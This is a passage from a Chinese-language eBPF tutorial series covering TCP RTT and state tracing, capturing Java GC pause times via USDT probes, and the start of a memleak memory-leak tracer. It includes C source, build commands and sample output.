slot = log2l(srtt);
if (slot >= MAX_SLOTS)
slot = MAX_SLOTS - 1;
__sync_fetch_and_add(&histp->slots[slot], 1);
if (targ_show_ext) {
__sync_fetch_and_add(&histp->latency, srtt);
__sync_fetch_and_add(&histp->cnt, 1);
}
return 0;
}
首先,我们定义了一个 hash 类型的 eBPF map,名为hists,它用来存储 RTT 的统计信息。在这个 map 中,键是 64 位整数,值是一个hist结构,这个结构包含了一个数组,用来存储不同 RTT 区间的数量。
接着,我们定义了一个 eBPF 程序,名为tcp_rcv,这个程序会在每次内核中处理 TCP 收包的时候被调用。在这个程序中,我们首先根据过滤条件(源/目标 IP 地址和端口)对 TCP 连接进行过滤。如果满足条件,我们会根据设置的参数选择相应的 key(源 IP 或者目标 IP 或者 0),然后在hists map 中查找或者初始化对应的 histogram。
接下来,我们读取 TCP 连接的srtt_us字段,这个字段表示了平滑的 RTT 值,单位是微秒。然后我们将这个 RTT 值转换为对数形式,并将其作为 slot 存储到 histogram 中。
如果设置了show_ext参数,我们还会将 RTT 值和计数器累加到 histogram 的latency和cnt字段中。
通过以上的处理,我们可以对每个 TCP 连接的 RTT 进行统计和分析,从而更好地理解网络的性能状况。
总结起来,tcprtt eBPF 程序的主要逻辑包括以下几个步骤:
- 根据过滤条件对 TCP 连接进行过滤。
- 在
histsmap 中查找或者初始化对应的 histogram。 - 读取 TCP 连接的
srtt_us字段,并将其转换为对数形式,存储到 histogram 中。 - 如果设置了
show_ext参数,将 RTT 值和计数器累加到 histogram 的latency和cnt字段中。
tcprtt 挂载到了内核态的 tcp_rcv_established 函数上:
void tcp_rcv_established(struct sock *sk, struct sk_buff *skb);
这个函数是在内核中处理TCP接收数据的主要函数,主要在TCP连接处于ESTABLISHED状态时被调用。这个函数的处理逻辑包括一个快速路径和一个慢速路径。快速路径在以下几种情况下会被禁用:
- 我们宣布了一个零窗口 - 零窗口探测只能在慢速路径中正确处理。
- 收到了乱序的数据包。
- 期待接收紧急数据。
- 没有剩余的缓冲区空间。
- 接收到了意外的TCP标志/窗口值/头部长度(通过检查TCP头部与预设标志进行检测)。
- 数据在两个方向上都在传输。快速路径只支持纯发送者或纯接收者(这意味着序列号或确认值必须保持不变)。
- 接收到了意外的TCP选项。
当这些条件不满足时,它会进入一个标准的接收处理过程,这个过程遵循RFC793来处理所有情况。前三种情况可以通过正确的预设标志设置来保证,剩下的情况则需要内联检查。当一切都正常时,快速处理过程会在tcp_data_queue函数中被开启。
编译运行
对于 tcpstates,可以通过以下命令编译和运行 libbpf 应用:
$ make
...
BPF .output/tcpstates.bpf.o
GEN-SKEL .output/tcpstates.skel.h
CC .output/tcpstates.o
BINARY tcpstates
$ sudo ./tcpstates
SKADDR PID COMM LADDR LPORT RADDR RPORT OLDSTATE -> NEWSTATE MS
ffff9bf61bb62bc0 164978 node 192.168.88.15 0 52.178.17.2 443 CLOSE -> SYN_SENT 0.000
ffff9bf61bb62bc0 0 swapper/0 192.168.88.15 41596 52.178.17.2 443 SYN_SENT -> ESTABLISHED 225.794
ffff9bf61bb62bc0 0 swapper/0 192.168.88.15 41596 52.178.17.2 443 ESTABLISHED -> CLOSE_WAIT 901.454
ffff9bf61bb62bc0 164978 node 192.168.88.15 41596 52.178.17.2 443 CLOSE_WAIT -> LAST_ACK 0.793
ffff9bf61bb62bc0 164978 node 192.168.88.15 41596 52.178.17.2 443 LAST_ACK -> LAST_ACK 0.086
ffff9bf61bb62bc0 228759 kworker/u6 192.168.88.15 41596 52.178.17.2 443 LAST_ACK -> CLOSE 0.193
ffff9bf6d8ee88c0 229832 redis-serv 0.0.0.0 6379 0.0.0.0 0 CLOSE -> LISTEN 0.000
ffff9bf6d8ee88c0 229832 redis-serv 0.0.0.0 6379 0.0.0.0 0 LISTEN -> CLOSE 1.763
ffff9bf7109d6900 88750 node 127.0.0.1 39755 127.0.0.1 50966 ESTABLISHED -> FIN_WAIT1 0.000
对于 tcprtt,我们可以使用 eunomia-bpf 编译运行这个例子:
Compile:
docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest
或者
$ ecc tcprtt.bpf.c tcprtt.h
Compiling bpf object...
Generating export types...
Packing ebpf object and config into package.json...
运行:
$ sudo ecli run package.json -h
A simple eBPF program
Usage: package.json [OPTIONS]
Options:
--verbose Whether to show libbpf debug information
--targ_laddr_hist Set value of `bool` variable targ_laddr_hist
--targ_raddr_hist Set value of `bool` variable targ_raddr_hist
--targ_show_ext Set value of `bool` variable targ_show_ext
--targ_sport <targ_sport> Set value of `__u16` variable targ_sport
--targ_dport <targ_dport> Set value of `__u16` variable targ_dport
--targ_saddr <targ_saddr> Set value of `__u32` variable targ_saddr
--targ_daddr <targ_daddr> Set value of `__u32` variable targ_daddr
--targ_ms Set value of `bool` variable targ_ms
-h, --help Print help
-V, --version Print version
Built with eunomia-bpf framework.
See https://github.com/eunomia-bpf/eunomia-bpf for more information.
$ sudo ecli run package.json
key = 0
latency = 0
cnt = 0
(unit) : count distribution
0 -> 1 : 0 | |
2 -> 3 : 0 | |
4 -> 7 : 0 | |
8 -> 15 : 0 | |
16 -> 31 : 0 | |
32 -> 63 : 0 | |
64 -> 127 : 0 | |
128 -> 255 : 0 | |
256 -> 511 : 0 | |
512 -> 1023 : 4 |******************** |
1024 -> 2047 : 1 |***** |
2048 -> 4095 : 0 | |
4096 -> 8191 : 8 |****************************************|
key = 0
latency = 0
cnt = 0
(unit) : count distribution
0 -> 1 : 0 | |
2 -> 3 : 0 | |
4 -> 7 : 0 | |
8 -> 15 : 0 | |
16 -> 31 : 0 | |
32 -> 63 : 0 | |
64 -> 127 : 0 | |
128 -> 255 : 0 | |
256 -> 511 : 0 | |
512 -> 1023 : 11 |*************************** |
1024 -> 2047 : 1 |** |
2048 -> 4095 : 0 | |
4096 -> 8191 : 16 |****************************************|
8192 -> 16383 : 4 |********** |
完整源代码:
参考资料:
总结
通过本篇 eBPF 入门实践教程,我们学习了如何使用tcpstates和tcprtt这两个 eBPF 示例程序,监控和分析 TCP 的连接状态和往返时间。我们了解了tcpstates和tcprtt的工作原理和实现方式,包括如何使用 BPF map 存储数据,如何在 eBPF 程序中获取和处理 TCP 连接信息,以及如何在用户态应用程序中解析和显示 eBPF 程序收集的数据。
如果您希望学习更多关于 eBPF 的知识和实践,可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 或网站 https://eunomia.dev/zh/tutorials/ 以获取更多示例和完整的教程。接下来的教程将进一步探讨 eBPF 的高级特性,我们会继续分享更多有关 eBPF 开发实践的内容。
eBPF 入门实践教程十五:使用 USDT 捕获用户态 Java GC 事件耗时
eBPF (扩展的伯克利数据包过滤器) 是一项强大的网络和性能分析工具,被广泛应用在 Linux 内核上。eBPF 使得开发者能够动态地加载、更新和运行用户定义的代码,而无需重启内核或更改内核源代码。这个特性使得 eBPF 能够提供极高的灵活性和性能,使其在网络和系统性能分析方面具有广泛的应用。此外,eBPF 还支持使用 USDT (用户级静态定义跟踪点) 捕获用户态的应用程序行为。
在我们的 eBPF 入门实践教程系列的这一篇,我们将介绍如何使用 eBPF 和 USDT 来捕获和分析 Java 的垃圾回收 (GC) 事件的耗时。
USDT 介绍
USDT 是一种在应用程序中插入静态跟踪点的机制,它允许开发者在程序的关键位置插入可用于调试和性能分析的探针。这些探针可以在运行时被 DTrace、SystemTap 或 eBPF 等工具动态激活,从而在不重启应用程序或更改程序代码的情况下,获取程序的内部状态和性能指标。USDT 在很多开源软件,如 MySQL、PostgreSQL、Ruby、Python 和 Node.js 等都有广泛的应用。
用户层面的追踪机制:用户级动态跟踪和 USDT
在用户层面进行动态跟踪,即用户级动态跟踪(User-Level Dynamic Tracing)允许我们对任何用户级别的代码进行插桩。比如,我们可以通过在 MySQL 服务器的 dispatch_command() 函数上进行插桩,来跟踪服务器的查询请求:
# ./uprobe 'p:cmd /opt/bin/mysqld:_Z16dispatch_command19enum_server_commandP3THDPcj +0(%dx):string'
Tracing uprobe cmd (p:cmd /opt/bin/mysqld:0x2dbd40 +0(%dx):string). Ctrl-C to end.
mysqld-2855 [001] d... 19957757.590926: cmd: (0x6dbd40) arg1="show tables"
mysqld-2855 [001] d... 19957759.703497: cmd: (0x6dbd40) arg1="SELECT * FROM numbers"
[...]
这里我们使用了 uprobe 工具,它利用了 Linux 的内置功能:ftrace(跟踪器)和 uprobes(用户级动态跟踪,需要较新的 Linux 版本,例如 4.0 左右)。其他的跟踪器,如 perf_events 和 SystemTap,也可以实现此功能。
许多其他的 MySQL 函数也可以被跟踪以获取更多的信息。我们可以列出和计算这些函数的数量:
# ./uprobe -l /opt/bin/mysqld | more
account_hash_get_key
add_collation
add_compiled_collation
add_plugin_noargs
adjust_time_range
[...]
# ./uprobe -l /opt/bin/mysqld | wc -l
21809
这有 21,000 个函数。我们也可以跟踪库函数,甚至是单个的指令偏移。
用户级动态跟踪的能力是非常强大的,它可以解决无数的问题。然而,使用它也有一些困难:需要确定需要跟踪的代码,处理函数参数,以及应对代码的更改。
用户级静态定义跟踪(User-level Statically Defined Tracing, USDT)则可以在某种程度上解决这些问题。USDT 探针(或者称为用户级 "marker")是开发者在代码的关键位置插入的跟踪宏,提供稳定且已经过文档说明的 API。这使得跟踪工作变得更加简单。
使用 USDT,我们可以简单地跟踪一个名为 mysql:query__start 的探针,而不是去跟踪那个名为 _Z16dispatch_command19enum_server_commandP3THDPcj 的 C++ 符号,也就是 dispatch_command() 函数。当然,我们仍然可以在需要的时候去跟踪 dispatch_command() 以及其他 21,000 个 mysqld 函数,但只有当 USDT 探针无法解决问题的时候我们才需要这么做。
在 Linux 中的 USDT,无论是哪种形式的静态跟踪点,其实都已经存在了几十年。它最近由于 Sun 的 DTrace 工具的流行而再次受到关注,这使得许多常见的应用程序,包括 MySQL、PostgreSQL、Node.js、Java 等都加入了 USDT。SystemTap 则开发了一种可以消费这些 DTrace 探针的方式。
你可能正在运行一个已经包含了 USDT 探针的 Linux 应用程序,或者可能需要重新编译(通常是 --enable-dtrace)。你可以使用 readelf 来进行检查,例如对于 Node.js:
# readelf -n node
[...]
Notes at offset 0x00c43058 with length 0x00000494:
Owner Data size Description
stapsdt 0x0000003c NT_STAPSDT (SystemTap probe descriptors)
Provider: node
Name: gc__start
Location: 0x0000000000bf44b4, Base: 0x0000000000f22464, Semaphore: 0x0000000001243028
Arguments: 4@%esi 4@%edx 8@%rdi
[...]
stapsdt 0x00000082 NT_STAPSDT (SystemTap probe descriptors)
Provider: node
Name: http__client__request
Location: 0x0000000000bf48ff, Base: 0x0000000000f22464, Semaphore: 0x0000000001243024
Arguments: 8@%rax 8@%rdx 8@-136(%rbp) -4@-140(%rbp) 8@-72(%rbp) 8@-80(%rbp) -4@-144(%rbp)
[...]
这就是使用 --enable-dtrace 重新编译的 node,以及安装了提供 "dtrace" 功能来构建 USDT 支持的 systemtap-sdt-dev 包。这里显示了两个探针:node:gc__start(开始进行垃圾回收)和 node:http__client__request。
在这一点上,你可以使用 SystemTap 或者 LTTng 来跟踪这些探针。然而,内置的 Linux 跟踪器,比如 ftrace 和 perf_events,目前还无法做到这一点(尽管 perf_events 的支持正在开发中)。
USDT 在内核态 eBPF 运行时,也可能产生比较大的性能开销,这时候也可以考虑使用用户态 eBPF 运行时,例如 bpftime。bpftime 是一个基于 LLVM JIT/AOT 的用户态 eBPF 运行时,它可以在用户态运行 eBPF 程序,和内核态的 eBPF 兼容,避免了内核态和用户态之间的上下文切换,从而提高了 eBPF 程序的执行效率。对于 uprobe 而言,bpftime 的性能开销比 kernel 小一个数量级。
Java GC 介绍
Java 作为一种高级编程语言,其自动垃圾回收(GC)是其核心特性之一。Java GC 的目标是自动地回收那些不再被程序使用的内存空间,从而减轻程序员在内存管理方面的负担。然而,GC 过程可能会引发应用程序的停顿,对程序的性能和响应时间产生影响。因此,对 Java GC 事件进行监控和分析,对于理解和优化 Java 应用的性能是非常重要的。
在接下来的教程中,我们将演示如何使用 eBPF 和 USDT 来监控和分析 Java GC 事件的耗时,希望这些内容对你在使用 eBPF 进行应用性能分析方面的工作有所帮助。
eBPF 实现机制
Java GC 的 eBPF 程序分为内核态和用户态两部分,我们会分别介绍这两部分的实现机制。
内核态程序
/* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */
/* Copyright (c) 2022 Chen Tao */
#include <vmlinux.h>
#include <bpf/bpf_helpers.h>
#include <bpf/bpf_core_read.h>
#include <bpf/usdt.bpf.h>
#include "javagc.h"
struct {
__uint(type, BPF_MAP_TYPE_HASH);
__uint(max_entries, 100);
__type(key, uint32_t);
__type(value, struct data_t);
} data_map SEC(".maps");
struct {
__uint(type, BPF_MAP_TYPE_PERF_EVENT_ARRAY);
__type(key, int);
__type(value, int);
} perf_map SEC(".maps");
__u32 time;
static int gc_start(struct pt_regs *ctx)
{
struct data_t data = {};
data.cpu = bpf_get_smp_processor_id();
data.pid = bpf_get_current_pid_tgid() >> 32;
data.ts = bpf_ktime_get_ns();
bpf_map_update_elem(&data_map, &data.pid, &data, 0);
return 0;
}
static int gc_end(struct pt_regs *ctx)
{
struct data_t data = {};
struct data_t *p;
__u32 val;
data.cpu = bpf_get_smp_processor_id();
data.pid = bpf_get_current_pid_tgid() >> 32;
data.ts = bpf_ktime_get_ns();
p = bpf_map_lookup_elem(&data_map, &data.pid);
if (!p)
return 0;
val = data.ts - p->ts;
if (val > time) {
data.ts = val;
bpf_perf_event_output(ctx, &perf_map, BPF_F_CURRENT_CPU, &data, sizeof(data));
}
bpf_map_delete_elem(&data_map, &data.pid);
return 0;
}
SEC("usdt")
int handle_gc_start(struct pt_regs *ctx)
{
return gc_start(ctx);
}
SEC("usdt")
int handle_gc_end(struct pt_regs *ctx)
{
return gc_end(ctx);
}
SEC("usdt")
int handle_mem_pool_gc_start(struct pt_regs *ctx)
{
return gc_start(ctx);
}
SEC("usdt")
int handle_mem_pool_gc_end(struct pt_regs *ctx)
{
return gc_end(ctx);
}
char LICENSE[] SEC("license") = "Dual BSD/GPL";
首先,我们定义了两个映射(map):
data_map:这个 hashmap 存储每个进程 ID 的垃圾收集开始时间。data_t结构体包含进程 ID、CPU ID 和时间戳。perf_map:这是一个 perf event array,用于将数据发送回用户态程序。
然后,我们有四个处理函数:gc_start、gc_end 和两个 USDT 处理函数 handle_mem_pool_gc_start 和 handle_mem_pool_gc_end。这些函数都用 BPF 的 SEC("usdt") 宏注解,以便在 Java 进程中捕获到与垃圾收集相关的 USDT 事件。
gc_start 函数在垃圾收集开始时被调用。它首先获取当前的 CPU ID、进程 ID 和时间戳,然后将这些数据存入 data_map。
gc_end 函数在垃圾收集结束时被调用。它执行与 gc_start 类似的操作,但是它还从 data_map 中检索开始时间,并计算垃圾收集的持续时间。如果持续时间超过了设定的阈值(变量 time),那么它将数据发送回用户态程序。
handle_gc_start 和 handle_gc_end 是针对垃圾收集开始和结束事件的处理函数,它们分别调用了 gc_start 和 gc_end。
handle_mem_pool_gc_start 和 handle_mem_pool_gc_end 是针对内存池的垃圾收集开始和结束事件的处理函数,它们也分别调用了 gc_start 和 gc_end。
最后,我们有一个 LICENSE 数组,声明了该 BPF 程序的许可证,这是加载 BPF 程序所必需的。
用户态程序
用户态程序的主要目标是加载和运行eBPF程序,以及处理来自内核态程序的数据。它是通过 libbpf 库来完成这些操作的。这里我们省略了一些通用的加载和运行 eBPF 程序的代码,只展示了与 USDT 相关的部分。
第一个函数 get_jvmso_path 被用来获取运行的Java虚拟机(JVM)的 libjvm.so 库的路径。首先,它打开了 /proc/<pid>/maps 文件,该文件包含了进程地址空间的内存映射信息。然后,它在文件中搜索包含 libjvm.so 的行,然后复制该行的路径到提供的参数中。
static int get_jvmso_path(char *path)
{
char mode[16], line[128], buf[64];
size_t seg_start, seg_end, seg_off;
FILE *f;
int i = 0;
sprintf(buf, "/proc/%d/maps", env.pid);
f = fopen(buf, "r");
if (!f)
return -1;
while (fscanf(f, "%zx-%zx %s %zx %*s %*d%[^\n]\n",
&seg_start, &seg_end, mode, &seg_off, line) == 5) {
i = 0;
while (isblank(line[i]))
i++;
if (strstr(line + i, "libjvm.so")) {
break;
}
}
strcpy(path, line + i);
fclose(f);
return 0;
}
接下来,我们看到的是将 eBPF 程序(函数 handle_gc_start 和 handle_gc_end)附加到Java进程的相关USDT探针上。每个程序都通过调用 bpf_program__attach_usdt 函数来实现这一点,该函数的参数包括BPF程序、进程ID、二进制路径以及探针的提供者和名称。如果探针挂载成功,bpf_program__attach_usdt 将返回一个链接对象,该对象将存储在skeleton的链接成员中。如果挂载失败,程序将打印错误消息并进行清理。
skel->links.handle_mem_pool_gc_start = bpf_program__attach_usdt(skel->progs.handle_gc_start, env.pid,
binary_path, "hotspot", "mem__pool__gc__begin", NULL);
if (!skel->links.handle_mem_pool_gc_start) {
err = errno;
fprintf(stderr, "attach usdt mem__pool__gc__begin failed: %s\n", strerror(err));
goto cleanup;
}
skel->links.handle_mem_pool_gc_end = bpf_program__attach_usdt(skel->progs.handle_gc_end, env.pid,
binary_path, "hotspot", "mem__pool__gc__end", NULL);
if (!skel->links.handle_mem_pool_gc_end) {
err = errno;
fprintf(stderr, "attach usdt mem__pool__gc__end failed: %s\n", strerror(err));
goto cleanup;
}
skel->links.handle_gc_start = bpf_program__attach_usdt(skel->progs.handle_gc_start, env.pid,
binary_path, "hotspot", "gc__begin", NULL);
if (!skel->links.handle_gc_start) {
err = errno;
fprintf(stderr, "attach usdt gc__begin failed: %s\n", strerror(err));
goto cleanup;
}
skel->links.handle_gc_end = bpf_program__attach_usdt(skel->progs.handle_gc_end, env.pid,
binary_path, "hotspot", "gc__end", NULL);
if (!skel->links.handle_gc_end) {
err = errno;
fprintf(stderr, "attach usdt gc__end failed: %s\n", strerror(err));
goto cleanup;
}
最后一个函数 handle_event 是一个回调函数,用于处理从perf event array收到的数据。这个函数会被 perf event array 触发,并在每次接收到新的事件时调用。函数首先将数据转换为 data_t 结构体,然后将当前时间格式化为字符串,并打印出事件的时间戳、CPU ID、进程 ID,以及垃圾回收的持续时间。
static void handle_event(void *ctx, int cpu, void *data, __u32 data_sz)
{
struct data_t *e = (struct data_t *)data;
struct tm *tm = NULL;
char ts[16];
time_t t;
time(&t);
tm = localtime(&t);
strftime(ts, sizeof(ts), "%H:%M:%S", tm);
printf("%-8s %-7d %-7d %-7lld\n", ts, e->cpu, e->pid, e->ts/1000);
}
安装依赖
构建示例需要 clang、libelf 和 zlib。包名在不同的发行版中可能会有所不同。
在 Ubuntu/Debian 上,你需要执行以下命令:
sudo apt install clang libelf1 libelf-dev zlib1g-dev
在 CentOS/Fedora 上,你需要执行以下命令:
sudo dnf install clang elfutils-libelf elfutils-libelf-devel zlib-devel
编译运行
在对应的目录中,运行 Make 即可编译运行上述代码:
$ make
$ sudo ./javagc -p 12345
Tracing javagc time... Hit Ctrl-C to end.
TIME CPU PID GC TIME
10:00:01 10% 12345 50ms
10:00:02 12% 12345 55ms
10:00:03 9% 12345 47ms
10:00:04 13% 12345 52ms
10:00:05 11% 12345 50ms
完整源代码:
参考资料:
- https://www.brendangregg.com/blog/2015-07-03/hacking-linux-usdt-ftrace.html
- https://github.com/iovisor/bcc/blob/master/libbpf-tools/javagc.c
总结
通过本篇 eBPF 入门实践教程,我们学习了如何使用 eBPF 和 USDT 动态跟踪和分析 Java 的垃圾回收(GC)事件。我们了解了如何在用户态应用程序中设置 USDT 跟踪点,以及如何编写 eBPF 程序来捕获这些跟踪点的信息,从而更深入地理解和优化 Java GC 的行为和性能。
此外,我们也介绍了一些关于 Java GC、USDT 和 eBPF 的基础知识和实践技巧,这些知识和技巧对于想要在网络和系统性能分析领域深入研究的开发者来说是非常有价值的。
如果您希望学习更多关于 eBPF 的知识和实践,可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 或网站 https://eunomia.dev/zh/tutorials/ 以获取更多示例和完整的教程。
The original link of this article: https://eunomia.dev/tutorials/15-javagc
eBPF 入门实践教程十六:编写 eBPF 程序 Memleak 监控内存泄漏
eBPF(扩展的伯克利数据包过滤器)是一项强大的网络和性能分析工具,被广泛应用在 Linux 内核上。eBPF 使得开发者能够动态地加载、更新和运行用户定义的代码,而无需重启内核或更改内核源代码。
在本篇教程中,我们将探讨如何使用 eBPF 编写 Memleak 程序,以监控程序的内存泄漏。
背景及其重要性
内存泄漏是计算机编程中的一种常见问题,其严重程度不应被低估。内存泄漏发生时,程序会逐渐消耗更多的内存资源,但并未正确释放。随着时间的推移,这种行为会导致系统内存逐渐耗尽,从而显著降低程序及系统的整体性能。
内存泄漏有多种可能的原因。这可能是由于配置错误导致的,例如程序错误地配置了某些资源的动态分配。它也可能是由于软件缺陷或错误的内存管理策略导致的,如在程序执行过程中忘记释放不再需要的内存。此外,如果一个应用程序的内存使用量过大,那么系统性能可能会因页面交换(swapping)而大幅下降,甚至可能导致应用程序被系统强制终止(Linux 的 OOM killer)。
调试内存泄漏的挑战
调试内存泄漏问题是一项复杂且挑战性的任务。这涉及到详细检查应用程序的配置、内存分配和释放情况,通常需要应用专门的工具来帮助诊断。例如,有一些工具可以在应用程序启动时将 malloc() 函数调用与特定的检测工具关联起来,如 Valgrind memcheck,这类工具可以模拟 CPU 来检查所有内存访问,但可能会导致应用程序运行速度大大减慢。另一个选择是使用堆分析器,如 libtcmalloc,它相对较快,但仍可能使应用程序运行速度降低五倍以上。此外,还有一些工具,如 gdb,可以获取应用程序的核心转储并进行后处理以分析内存使用情况。然而,这些工具通常在获取核心转储时需要暂停应用程序,或在应用程序终止后才能调用 free() 函数。
eBPF 的作用
在这种背景下,eBPF 的作用就显得尤为重要。eBPF 提供了一种高效的机制来监控和追踪系统级别的事件,包括内存的分配和释放。通过 eBPF,我们可以跟踪内存分配和释放的请求,并收集每次分配的调用堆栈。然后,我们可以分
析这些信息,找出执行了内存分配但未执行释放操作的调用堆栈,这有助于我们找出导致内存泄漏的源头。这种方式的优点在于,它可以实时地在运行的应用程序中进行,而无需暂停应用程序或进行复杂的前后处理。
memleak eBPF 工具可以跟踪并匹配内存分配和释放的请求,并收集每次分配的调用堆栈。随后,memleak 可以打印一个总结,表明哪些调用堆栈执行了分配,但是并没有随后进行释放。例如,我们运行命令:
# ./memleak -p $(pidof allocs)
Attaching to pid 5193, Ctrl+C to quit.
[11:16:33] Top 2 stacks with outstanding allocations:
80 bytes in 5 allocations from stack
main+0x6d [allocs]
__libc_start_main+0xf0 [libc-2.21.so]
[11:16:34] Top 2 stacks with outstanding allocations:
160 bytes in 10 allocations from stack
main+0x6d [allocs]
__libc_start_main+0xf0 [libc-2.21.so]
运行这个命令后,我们可以看到分配但未释放的内存来自于哪些堆栈,并且可以看到这些未释放的内存的大小和数量。
随着时间的推移,很显然,allocs 进程的 main 函数正在泄漏内存,每次泄漏 16 字节。幸运的是,我们不需要检查每个分配,我们得到了一个很好的总结,告诉我们哪个堆栈负责大量的泄漏。
memleak 的实现原理
在基本层面上,memleak 的工作方式类似于在内存分配和释放路径上安装监控设备。它通过在内存分配和释放函数中插入 eBPF 程序来达到这个目标。这意味着,当这些函数被调用时,memleak 就会记录一些重要信息,如调用者的进程 ID(PID)、分配的内存地址以及分配的内存大小等。当释放内存的函数被调用时,memleak 则会在其内部的映射表(map)中删除相应的内存分配记录。这种机制使得 memleak 能够准确地追踪到哪些内存块已被分配但未被释放。
对于用户态的常用内存分配函数,如 malloc 和 calloc 等,memleak 利用了用户态探测(uprobe)技术来实现监控。uprobe 是一种用于用户空间应用程序的动态追踪技术,它可以在运行时不修改二进制文件的情况下在任意位置设置断点,从而实现对特定函数调用的追踪。Uprobe 在内核态 eBPF 运行时,也可能产生比较大的性能开销,这时候也可以考虑使用用户态 eBPF 运行时,例如 bpftime。bpftime 是一个基于 LLVM JIT/AOT 的用户态 eBPF 运行时,它可以在用户态运行 eBPF 程序,和内核态的 eBPF 兼容,避免了内核态和用户态之间的上下文切换,从而提高了 eBPF 程序的执行效率。对于 uprobe 而言,bpftime 的性能开销比 kernel 小一个数量级。
对于内核态的内存分配函数,如 kmalloc 等,memleak 则选择使用了 tracepoint 来实现监控。Tracepoint 是一种在 Linux 内核中提供的动态追踪技术,它可以在内核运行时动态地追踪特定的事件,而无需重新编译内核或加载内核模块。
内核态 eBPF 程序实现
memleak 内核态 eBPF 程序实现
memleak 的内核态 eBPF 程序包含一些用于跟踪内存分配和释放的关键函数。在我们深入了解这些函数之前,让我们首先观察 memleak 所定义的一些数据结构,这些结构在其内核态和用户态程序中均有使用。
#ifndef __MEMLEAK_H
#define __MEMLEAK_H
#define ALLOCS_MAX_ENTRIES 1000000
#define COMBINED_ALLOCS_MAX_ENTRIES 10240
struct alloc_info {
__u64 size; // 分配的内存大小
__u64 timestamp_ns; // 分配时的时间戳,单位为纳秒
int stack_id; // 分配时的调用堆栈ID
};
union combined_alloc_info {
struct {
__u64 total_size : 40; // 所有未释放分配的总大小
__u64 number_of_allocs : 24; // 所有未释放分配的总次数
};
__u64 bits; // 结构的位图表示
};
#endif /* __MEMLEAK_H */
这里定义了两个主要的数据结构:alloc_info 和 combined_alloc_info。
alloc_info 结构体包含了一个内存分配的基本信息,包括分配的内存大小 size、分配发生时的时间戳 timestamp_ns,以及触发分配的调用堆栈 ID stack_id。
combined_alloc_info 是一个联合体(union),它包含一个嵌入的结构体和一个 __u64 类型的位图表示 bits。嵌入的结构体有两个成员:total_size 和 number_of_allocs,分别代表所有未释放分配的总大小和总次数。其中 40 和 24 分别表示 total_size 和 number_of_allocs这两个成员变量所占用的位数,用来限制其大小。通过这样的位数限制,可以节省combined_alloc_info结构的存储空间。同时,由于total_size和number_of_allocs在存储时是共用一个unsigned long long类型的变量bits,因此可以通过在成员变量bits上进行位运算来访问和修改total_size和number_of_allocs,从而避免了在程序中定义额外的变量和函数的复杂性。
接下来,memleak 定义了一系列用于保存内存分配信息和分析结果的 eBPF 映射(maps)。这些映射都以 SEC(".maps") 的形式定义,表示它们属于 eBPF 程序的映射部分。
const volatile size_t min_size = 0;
const volatile size_t max_size = -1;
const volatile size_t page_size = 4096;
const volatile __u64 sample_rate = 1;
const volatile bool trace_all = false;
const volatile __u64 stack_flags = 0;
const volatile bool wa_missing_free = false;
struct {
__uint(type, BPF_MAP_TYPE_HASH);
__type(key, pid_t);
__type(value, u64);
__uint(max_entries, 10240);
} sizes SEC(".maps");
struct {
__uint(type, BPF_MAP_TYPE_HASH);
__type(key, u64); /* address */
__type(value, struct alloc_info);
__uint(max_entries, ALLOCS_MAX_ENTRIES);
} allocs SEC(".maps");
struct {
__uint(type, BPF_MAP_TYPE_HASH);
__type(key, u64); /* stack id */
__type(value, union combined_alloc_info);
__uint(max_entries, COMBINED_ALLOCS_MAX_ENTRIES);
} combined_allocs SEC(".maps");
struct {
__uint(type, BPF_MAP_TYPE_HASH);
__type(key, u64);
__type(value, u64);
__uint(max_entries, 10240);
} memptrs SEC(".maps");
struct {
__uint(type, BPF_MAP_TYPE_STACK_TRACE);
__type(key, u32);
} stack_traces SEC(".maps");
static union combined_alloc_info initial_cinfo;
这段代码首先定义了一些可配置的参数,如 min_size, max_size, page_size, sample_rate, trace_all, stack_flags 和 wa_missing_free,分别表示最小分配大小、最大分配大小、页面大小、采样率、是否追踪所有分配、堆栈标志和是否工作在缺失释放(missing free)模式。
接着定义了五个映射:
sizes:这是一个哈希类型的映射,键为进程 ID,值为u64类型,存储每个进程的分配大小。allocs:这也是一个哈希类型的映射,键为分配的地址,值为alloc_info结构体,存储每个内存分配的详细信息。combined_allocs:这是另一个哈希类型的映射,键为堆栈 ID,值为combined_alloc_info联合体,存储所有未释放分配的总大小和总次数。memptrs:这也是一个哈希类型的映射,键和值都为u64类型,用于在用户空间和内核空间之间传递内存指针。stack_traces:这是一个堆栈追踪类型的映射,键为u32类型,用于存储堆栈 ID。
以用户态的内存分配追踪部分为例,主要是挂钩内存相关的函数调用,如 malloc, free, calloc, realloc, mmap 和 munmap,以便在调用这些函数时进行数据记录。在用户态,memleak 主要使用了 uprobes 技术进行挂载。
每个函数调用被分为 "enter" 和 "exit" 两部分。"enter" 部分记录的是函数调用的参数,如分配的大小或者释放的地址。"exit" 部分则主要用于获取函数的返回值,如分配得到的内存地址。
这里,gen_alloc_enter, gen_alloc_exit, gen_free_enter 是实现记录行为的函数,他们分别用于记录分配开始、分配结束和释放开始的相关信息。
函数原型示例如下:
SEC("uprobe")
int BPF_KPROBE(malloc_enter, size_t size)
{
// 记录分配开始的相关信息
return gen_alloc_enter(size);
}
SEC("uretprobe")
int BPF_KRETPROBE(malloc_exit)
{
// 记录分配结束的相关信息
return gen_alloc_exit(ctx);
}
SEC("uprobe")
int BPF_KPROBE(free_enter, void *address)
{
// 记录释放开始的相关信息
return gen_free_enter(address);
}
其中,malloc_enter 和 free_enter 是分别挂载在 malloc 和 free 函数入口处的探针(probes),用于在函数调用时进行数据记录。而 malloc_exit 则是挂载在 malloc 函数的返回处的探针,用于记录函数的返回值。
这些函数使用了 BPF_KPROBE 和 BPF_KRETPROBE 这两个宏来声明,这两个宏分别用于声明 kprobe(内核探针)和 kretprobe(内核返回探针)。具体来说,kprobe 用于在函数调用时触发,而 kretprobe 则是在函数返回时触发。
gen_alloc_enter 函数是在内存分配请求的开始时被调用的。这个函数主要负责在调用分配内存的函数时收集一些基本的信息。下面我们将深入探讨这个函数的实现。
static int gen_alloc_enter(size_t size)
{
if (size < min_size || size > max_size)
return 0;
if (sample_rate > 1) {
if (bpf_ktime_get_ns() % sample_rate != 0)
return 0;
}
const pid_t pid = bpf_get_current_pid_tgid() >> 32;
bpf_map_update_elem(&sizes, &pid, &size, BPF_ANY);
if (trace_all)
bpf_printk("alloc entered, size = %lu\n", size);
return 0;
}
SEC("uprobe")
